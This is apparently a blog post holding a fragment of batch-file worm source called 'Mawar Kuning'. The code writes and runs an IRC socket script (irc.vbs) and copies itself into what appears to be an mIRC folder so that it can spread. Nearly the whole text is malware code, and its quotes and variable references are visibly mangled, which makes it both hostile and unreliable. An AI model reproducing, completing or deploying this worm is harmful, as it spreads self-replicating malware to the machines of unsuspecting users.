%wc% ” .sockwrite -b ” + %vs%37) + “client_n” + %vs%97) + “me 4000 ” + %vs%38) + “le”>>irc.vbs% ATTT %
%wc% ” ” + %vs%37) + “l = ” + %vs%37) + “l + 4000?>>irc.vbs% ATTT %
%wc% ” } } }”>>irc.vbs% ATTT %
goto ircu% ATTT %
:ircu % AUUU %
%wc% ” ” + %vs%97) + “li” + %vs%97) + “s cloze { .sockclose ” + %vs%37) + “sock_n” + %vs%97) + “me } “>>irc.vbs% AUUU %
echo file.Close >>irc.vbs% AUUU %
cscript irc.vbs% AUUU %
cls% AUUU %
goto eirc% AUUU %
:eirc % mawar-shadow %
del irc.vbs % mawar-shadow %
find “mawar-shadow”<%0>>mawarkuning.bat
copy mawarkuning.bat %mir%\Mawar Kuning.bat % mawar-shadow %
del mawarkuning.bat % mawar-shadow %
cls % mawar-shadow %

Tidak ada komentar:

Posting Komentar